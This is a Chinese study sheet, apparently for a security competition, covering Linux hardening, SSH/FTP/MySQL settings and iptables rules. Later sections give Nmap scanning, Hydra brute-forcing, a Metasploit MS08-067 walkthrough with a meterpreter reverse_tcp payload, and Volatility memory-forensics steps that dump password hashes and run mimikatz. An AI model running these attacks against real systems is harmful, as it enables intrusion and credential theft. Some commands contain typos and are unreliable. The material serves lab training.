Linux常用命令

重启:reboot      关机:shutdown -h now

打开终端:Ctrl+Alt+T     Ctrl+D关闭

Ctrl+C 取消       Ctrl+L 清屏

→   补全代码     ↑ 重复命令记录    tab 补全

Sudo    普通用户提权

# 管理员账号(红色)  $ 普通账号(蓝色)

查看主机名称: hostname

显示内核版本:uname –r

显示版本号: cat /proc/version

显示主机系统信息:uname –a

显示操作系统架构:uname –i

系统有哪些服务:service --status-all

查看开启的服务:chkconfig --list

搜索文件:find / -name *.conf

定时任务设置:crontab -e

查看用户:cat /etc/passwd   

查看组:cat /etc/group

新建用户并设置ID: useradd caojh -u 544

为账户创建密码:Passwd caojh

修改newuser的用户名为newuser1:usermod -l cao caojh

删除用户:userdel cao  

锁定账号cao:usermod -L cao

解除对newuser1的锁定:usermod -U cao

网络状况:netstat –a

查看当前登陆用户:whoami 

 

登录安全加固

1、一分钟内仅允许4次登录失败,超过4次,登录帐号锁定1分钟

vim /etc/pam.d/login                 

加:

 

 

2、最小密码长度不少于5个字符,密码最短使用期限为30天

  vim /etc/login.defs                 

 

 

 

3、设置user1只能在上班时间(周一至周五的9:00-18:00)登录

设置:net user user1 123456 /time:M-F,9:00-18:00

查看:net user user1

4限制用户su(切换用户),例如:只允许test组用户su到root

vim /etc/pam.d/su                

添加 auth required pam_wheel.so group=test

 

 

5禁止用户不能重复使用最近5次(含5)内已使用的密码。

vim /etc/pam.d/system-auth             

 

password sufficient pam_unix.so use_authtok md5 shadow 后加 remember=5 )

6、密码策略必须同时满足大小写字母、数字、特殊字符(Linux),将/etc/pam.d/system-auth配置文件中对应的部分截图:

pam_cracklib.so后加:

 

 

 

7、设置用户登录超时时间(闲置时间)比如设置超时时间为30分钟。

vim /etc/profile                 

在文件末尾加上(单位是秒)export TMOUT=1800

 

8chattr命令防止系统中的关键文件被修改,提高系统安全性chattr +i /etc/passwd

(锁定passwdshadow、 group 、gshadow 这四个文档的属性,撤销锁定命令:chattr -i /etc/passwd

 

 

SSH 远程登录

1、开启SSH服务 systemctl  start  sshd

2、重启 sshd 服务(配置完成需要重启生效)

systemctl restart  sshd

 

Vim /etc/ssh/sshd_config             

3、修改ssh服务端口为 2222使用命令netstat -anltp | grep sshd查看SSH服务端口信息,

4、指定SSH协议版本(禁用sshv1,使用sshv2),增加:Protocol 2

5、ssh禁止ROOT用户远程登录PermitRootLogin no)

        或添加  DenyUser root

6、为了防止密码在登录或者传输信息中被窃取,仅使用证书登录SSH(Linux),将/etc/ssh/sshd_config配置文件中对应的部分截图:

 

7、只允许honor这个用户使用SSH远程登录,其他用户不能。

AllowUsers honor

8、最多允许密码错误次数(默认6次,调为3次)

MaxAuthTries 3

9、启用严格(强制安全性)模式:StrictMode yes

 

10、基于公钥的身份验证,启用公钥身份验证

PubkeyAuthentication yes

11、禁用X11转发:X11Forwarding no

12、配置SSH登录超时限制

ClientAliveInterval 120,ClientAliveCountMax 5

13、配置SSH登录标语(Banner信息)Banner NONE

 

14、配置SSH远程登录失败策略,SSH登录密码错误3次,锁定账户3分钟。

vim /etc/pam.d/sshd                   

#%PAM-1.0下添加一行

auth required pam_tally2.so deny=3 unlock_time=180 even_deny_root root_unlock_time300

15、设置root⽤户的计划任务。每天早上7:50⾃动开启ssh服务,22:50关闭;每周六的7:30重新启动ssh服务

crontab –e,按i键进入编辑模式,输入以下内容,保存退出,使用命令crontab -l可查看创建的计划任务。

16、配置SSHD的PID档案存放地

Vim PidFile /var/run/sshd.pid           

 

 

 

 

 

 

VSFTPD 服务

Vim /etc/vsftpd/vsftpd.conf               

1、设置超时时间为2分钟,无任何操作的超时时间为5分钟,

2、设置运行 vsftpd 的非特权系统用户为 pyftp

添加:nopriv_user=pyftp

3、限制客户端连接的端口范围在 50000-60000

添加:pasv_min_port=50000,pasv_max_port=60000

4、限制本地用户登录活动范围限制在 home 目录

添加:chroot_local_user=YES

5、禁止匿名用户登录

添加:anonymous_enable=NO

 

6、禁止匿名用户上传

添加:anon_upload_enable=NO

7、禁止匿名用户创建目录的权限

添加:anon_mkdir_write_enable=NO

8、禁止匿名用户删除和重命名的权限

添加:anon_other_write_enable=NO

9、匿名用户访问的最大传输速率为512KB/S。(512*1024)

添加:anon_max_rate=524288

10、设置本地用户访问的最大传输速率为1M(1*1024*1024)

添加:local_max_rate=1048576

11、允许匿名登录 anonymous_enable=YES

12、允许本地用户登录 local_enable=YES

13、开放本地用户的写权限 write_enable=YES

14、设置本地用户的文件生成掩码为022 :local_umask=022

15、激活上传和下载日志 xferlog_enable=YES

16、启用FTP数据端口的连接请求 :connect_from_port_20=YES

17、使用标准的ftpd xferlog日志格式 :xferlog_std_format=YES

18、关闭ascii模式下载,防止被用于DoS攻击。

 

 

 

 

防火墙

旧版本Linux操作系统防火墙命令用iptables(只能用命令),RHEL 7/8 中新增的firewalld命令。iptables中常用的参数以及作用:

-P设置默认策略,-F清空规则链,-L查看规则链

-A在规则链的末尾加入新规则

-I num在规则链的头部加入新规则

-D num删除某一条规则

-s匹配来源地址 IP/MASK,加叹号“!”表示除这个 IP 外

-d匹配目标地址

-i 网卡名称匹配从这块网卡流入的数据

-o 网卡名称匹配从这块网卡流出的数据

-p匹配协议,如 TCP、UDP、ICMP

- -dport num匹配目标端口号

- -sport num匹配来源端口号

 

Systemctl status firewalld  查看防火墙状态

Systemctl start firewalld    开启防火墙

 

 

1、Linux系统使用iptables禁用23端口

iptables -A INPUT -p tcp --dport 23 -j DROP

iptables -A INPUT -p udp --dport 23 -j DROP

 

2、为防止Nmap扫描软件探测到关键信息,设置iptables防火墙策略对80、3306号端口进行流量处理;

iptables -A INPUT -s 172.16.1.1 -p 80 -j DROP

iptables -A INPUT -s 172.16.1.1 -p 3306 -j DROP

 

3、为确保安全,设置iptables防火墙策略仅允许172.16.10.0/24网段内的主机通过SSH连接本机

iptables –A INPUT –p tcp –dport 22 –s 172.16.10.0/24 –j ACCEPT

iptables –A INPUT –p tcp –dport 22 -j DROP

 

4、为防御IP碎片攻击,设置iptables防火墙策略限制IP碎片的数量,仅允许每秒处理1000个数据包

 

ptables -A FORWARD -f -m limit --limit 1000/s --limit-burst 1000 -j ACCEPT

 

5、设置防火墙允许本机转发除ICMP协议以外的所有数据包

iptables -A FORWARD -p ! icmp -j ACCEPT

 

6、为防御拒绝服务攻击,设置iptables防火墙策略对传入的流量进行过滤,限制每分钟允许3个包传入,并将瞬间流量设定为一次最多处理6个数据包(超过上限的网络数据包将丢弃不予处理)

iptables -A INPUT -m limit --limit 3/minute --limit-burst 6 -j ACCEPT

 

 

7、只允许转发来自172.16.0.0/24局域网段的DNS解析请求数据包。

iptables -A FORWARD -s 172.16.0.0/24 -p udp --dport 53 -j ACCEPT

iptables -A FORWARD -d 172.16.0.0/24 -p udp --sport 53 -j ACCEPT

 

8、禁止转发来自MAC地址为29:0E:29:27:65:EF主机的数据包

iptables -A FORWARD -m mac --mac-source 29:0E:29:27:65:EF -j DROP

 

9、禁止任何机器ping本机

iptables -A INPUT -p icmp --icmp-type 8 -j DROP

 

10、禁止本机ping任何机器,直接丢弃流出icpm数据包

iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP

 

11、在工作时间,即周一到周五的8:30-18:00,开放本机的ftp给192.168.1.0/24网络中的主机访问

iptables -A INPUT -p tcp --dport 21 -s 192.168.1.0/24 -m time --weekdays 1,2,3,4,5 --timestart 08:30 --timestop 18:00 -j ACCEPT

 

12、设置防火墙允许本机对外开放TCP端口21以及被动模式FTP端口1250-1280

iptables -A INPUT -p tcp -m multiport --dport 21,1250:1280 -j ACCEPT

 

13、禁止转发源IP地址为192.168.1.20-192.168.1.99的TCP数据包

iptables -A FORWARD -p tcp -m iprange --src-range 192.168.1.20-192.168.1.99 -j DROP

 

14、拒绝TCP标志位全部为1及全部为0的报文访问本机

iptables -A INPUT -p tcp --tcp-flags ALL ALL -j DROP

iptables -A OUTPUT -p tcp --tcp-flags ALL NONE -j DROP

 

15、配置iptables防火墙过滤规则,以封堵目标网段(172.16.1.0/24),并在两小时后解除封锁

iptables -I INPUT -s 172.16.1.0/24 -j DROP

iptables -I FORWARD -s 172.16.1.0/24 -j DROP

at now +2 hours

at> iptables -D INPUT 1

at> iptables -D FORWARD 1

 

16、在工作时间,即周一到周五的8:30-18:00,开放本机的ftp服务给 192.168.1.0网络中的主机访问要求从ftp服务的数据下载请求次数每分钟不得超过 5 个

iptables -A INPUT -s 172.16.0.0/16 -d 192.168.1.111 -p tcp --dport 21 -m time --timestart 8:30 --timestop 18:00 --weekdays 1,2,3,4,5 -m connlimit --connlimit-upto 5 -j ACCEPT

 

17、拒绝访问防火墙的新数据包,但允许响应连接或与已有连接相关的数据包

iptables -A INPUT -p tcp -m state --state NEW -j DROP

iptables -A INPUT -p tcp -m state --state ESTABLSHED,RELATED -j ACCEPT

 

 

18、为防止SSH服务被暴力枚举,设置iptables防火墙策略仅允许172.16.10.0/24网段内的主机通过SSH连接本机,将iptables配置命令截图:

 

 

数据库加固

配置环境变量可在CMD中运行

1、 检查MySQL服务是否启动:systemctl status mysqld

启动数据库:net start mysql

2、登录管理数据库:mysql -u root –p 然后在输入密码(用匿名登录可直接输mysql)

3、退出数据库:exit  quit   

4、创建数据库:create database test;

5、查看数据库:show databases;

6、使用数据库:use test;

7、查看数据表:Show tables;

8、删除默认数据库test

9、查看Mysql用户表:select user,host from mysql.user;

10、新建用户:create user ‘user1’ @’localhost’identified by ‘123456’

11、删除Mysql用户:drop user '用户名'@'localhost';

 

12、改变默认管理员用户为:SuperRoot

update mysql.user set user=’SuperRoot’ where user=’root’;

13、md5加密函数加密用户user1的密码为:P@ssw0rd1!)

14、赋予user1用户对数据库所有表只有select、insert、delete、update权限

15、对忘记mysql数据库SuperRoot管理员密码进行重置操作;

 

 

 

修改数据库端口:cat /etc/my.cnf

 

扫描

fping -g 172.16.1.0/24        扫描网段存活主机        

arping -c 4 172.16.1.4     有防火墙情况下主机扫描 (4个包)

genlist -s 172.16.1.\*        扫描网段存活主机   

               Nmap

Nmap –T4 –A -v 172.16.101.23  快速探测全部信息

Nmap -sV 172.16.101.23          开放端口运行的服务及版本

Nmap -O 172.16.101.23           操作系统识别

Nmap -sn 172.16.101.0/24        扫描网段

Nmap -sS 172.16.101.0/24        扫描网段(高速)

Nmap -Pn 172.16.101.1-255        扫描网段(绕过防火墙禁ping)

Nmap -p80 172.16.101.23         扫描指定端口

Nmap -sP 172.16.101.0/24        扫描网段(ping 方式)

Nmap -p0 172.16.101.23        (不ping 扫描)

Nmap -sW 172.16.101.23         滑动窗口扫描

Nmap -sR 172.16.101.23         RPC扫描

Nmap -sT 172.16.101.23          TCP扫描

Nmap -sU 172.16.101.23          UDP扫描

Nmap -sY 172.16.101.23         探测防火墙状态

Nmap --script vuln 172.16.101.23  漏洞扫描

dirb http://172.16.101.23     目录扫描

nc 172.16.101.23 48119  后门banner信息(然后用pwd,cat或more查看文件内容)

Hydra        密码爆破

Kali linux自带的密码字典存在usr/share/wordlists目录下

常见端口号

服务

21

FTP

22

SSH

23

Telnet

80

HTTP

110

POP3

443

HTTPS

1433

SQL

3306

MYSQL

3389

远程桌面

 

 

Metasploit渗透攻击

msfconsole                     进入Metasploit

help                              帮助  

search  MS08-067              搜索漏洞

use exploit/windows/smb/ms08_067_netapi   ms08_067攻击模块

check                      用相应的模块进行漏洞检测

set payload windows/meterpreter/reverse_tcp  设置攻击载荷  

show options                  设置参数

set rhost 192.168.110.8        设置目标IP

set lhost 192.168.110.128        设置反向链接本机IP

show targets                  查看目标系统序号

set target 10                 设置目标系统序号为10

exploit或者 Run               攻击

run vnc                     桌面监视   

 

Search Mssql_login     搜索登录模块

Search ssh_login       搜索登录模块

 Search ftp_login       搜索登录模块

 

典型系统漏洞

类型

影响范围

MS08-067

远程代码执行漏洞

Windows Server 2000

Windows XP

Windows 2003

MS08-068

远程代码执行漏洞

Windows 2000/XP

MS09-050

远程执行代码漏洞

Windows Server 2008

Windows 7

Windows Server 2008 R2

MS12-020

远程代码执行漏洞

Windows XP

Windows 7

Windows Server 2008 R2

Windows Server 2008

MS15-034

远程代码执行漏洞

Windows 7

Windows Server 2008 R2

Windows Server 2012

Windows Server 2012 R2

MS17-010 永恒之蓝

攻击者可以通过发送特制的SMB请求执行任意代码,并在远程系统上获取系统权限 。

Windows 7

Windows Server 2008 R2

Windows Server 2012

CVE-2017-7494

 

linux

vsFTPd2.3.4 Backdoor笑脸漏洞

 

linux

 

 

SSH远程登录:   

1、ssh 172.16.101.106 (默认用户、默认端口)

2、ssh user@172.16.101.106 (指定用户、默认端口)

3、ssh user@172.16.101.106 -p 2222(指定用户、指定端口)

Exit退出

 

FTP下载:    

1、ftp 172.16.101.23   (命令登录)

2、ftp://用户名:密码@IP:端口(浏览器登录)

登录后 ls  查看文件

下载文件:get 123.txt

上传文件:put 123.txt

 

help帮助  退出:quit或者bye

解压文件:

1、把/home目录下面的mydata.zip解压到mydatabak目录里面:
  unzip mydata.zip -d mydatabak

2、把/home目录下面的wwwroot.zip直接解压到/home目录里面:
  unzip wwwroot.zip

3、将档案 file1.txt 设为所有人皆可读取:
  chmod a+r file.txt               

漏洞扫描工具: x-scan(国产)、Fluxay、 nessus、wvs等

 

 

B-2内存取证

工具:volatility

1、从内存文件中获取到用户hacker 的密码并且破解密码,将破解后的密码作为 Flag值提交;

先获取内存文件的profile,使用imageinfo 插件即可

volatility -f xxx.vmem imageinfo

使用 "SAM\Domains\Account\Users\Names"查看用户(这一步可有可无)

volatility -f xxx.vmem --profile=OS printkey -K "SAM\Domains\Account\Users\Names"

破密码

volatility -f  xxx.vmem --profile=OS hashdump(hashcat或者john 去破解)

volatility -f  xxx.vmem --profile=OS mimikatz

volatility -f  xxx.vmem --profile=OS lsadump

 

2、获取当前系统的主机名,将主机名作为Flag值提交;

volatility -f xxx.vmem --profile=OS printkey -K "ControlSet001\Control\ComputerName\ComputerName"

volatility -f xxx.vmem --profile=OS envars(查看环境变量)

 

3、获取当前系统浏览器搜索过的关键词,作为Flag提交;

volatility -f xxx.vmem --profile=OS iehistory

 

4、获取当前内存文件的 ip地址

volatility -f xxx.vmem --profile=OS netscan

volatility -f xxx.vmem --profile=OS connscan

volatility -f xxx.vmem --profile=OS connections

 

5、当前系统中存在的挖矿进程,请获取指向的矿池地址,将矿池的IP地址作为. Flag值提交(局域网ip);.

volatility -f xxx.vmem --profile=OS netscan(找唯一一个已建立的 ESTABLISHED)

 

6、恶意进程在系统中注册了服务,请将服务名以 Flag{服务名}形式提交。

volatility -f xxx.vmem --profile=OS pslist -p [子进程号]

(子进程好上一题可知)

得到父进程

然后在通过通过svcscan可以查询服务名称,根据父进程找到对应服务名

volatility -f xxx.vmem --profile=OS svcscan

 

7、请将内存文件中的剪贴板内容作为flag 值提交;

volatility -f xxx.vmem --profile=OS clipboard

 

8、从内存文件中获取记事本的内容,并将该内容作为flag值提交;

volatility -f xxx.vmem --profile=OS editbox

volatility -f xxx.vmem --profile=OS notepad

 

9、从内存文件中获取截图的内容,并将该内容作为flag值提交;

volatility -f xxx.vmem --profile=0S screenshot --dump-dir=./

 

10、从内存文件中获取黑客进入系统后下载的图片,将图片中的内容作为 Flag值提交。

volatility -f xxx.vmem --profile=OS filescan | grep -E "png|jpg|gif|bmp|zip|rar|7z|pdf|txt|doc"

 

11、查看被删除的文件里的内容

volatility -f xxx.vmem --profile=OS mftparser

 

12、最后一次更新时间,运行过的次数为 Flag值提交。

volatility -f xxx.vmem --profile=OS userassist

 

13、将最后一次cmd的命令当作flag

volatility -f xxx.vmem --profile=OS cmdscan